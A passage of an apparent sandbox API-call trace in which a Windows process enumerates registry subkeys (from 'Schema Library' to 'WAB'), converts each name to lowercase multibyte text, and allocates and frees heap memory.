dwIndex=0x5e, lpName=0xa9b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0xa9c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0136.761] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0xa9b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0xa9c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0136.761] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0xa9b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0136.762] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0xa9b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0xa9c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0136.762] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0xa9b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0136.762] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0xa9b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0xa9c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0136.762] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0xa9b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0xa9c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0136.762] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0xa9b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0xa9c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0136.762] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0xa9b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xa9c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0136.762] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0xa9b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0136.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0xa9c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0136.762] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0xa9b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0xa9c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0136.763] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0xa9b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0xa9c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0136.763] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0xa9b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0136.763] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0xa9b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0xa9c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0136.763] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0xa9b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0xa9c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0136.763] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0xa9b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0xa9c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0136.763] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0xa9b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0xa9c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0136.763] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0xa9b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0xa9c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0136.764] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0xa9b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0xa9c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0136.764] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0xa9b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0xa9c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0136.764] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0xa9b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0136.764] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0xa9b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0xa9c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0136.764] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0xa9b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0136.764] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0xa9b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0136.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0xa9c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0136.765] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.765] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.765] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.765] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.765] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0xa9b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0136.765] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0136.765] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0xa9c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0136.765] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.765] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.765] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.765] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.765] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0xa9b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0136.765] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0136.765] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0xa9c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0136.765] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.765] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.765] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.765] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.765] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0xa9b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0136.765] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.766] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0xa9b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0xa9c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.766] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0xa9b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.766] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0xa9b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0xa9c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0136.766] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.766] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.766] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0xa9b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.767] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0xa9b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0xa9c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0136.767] RtlAllocateHeap 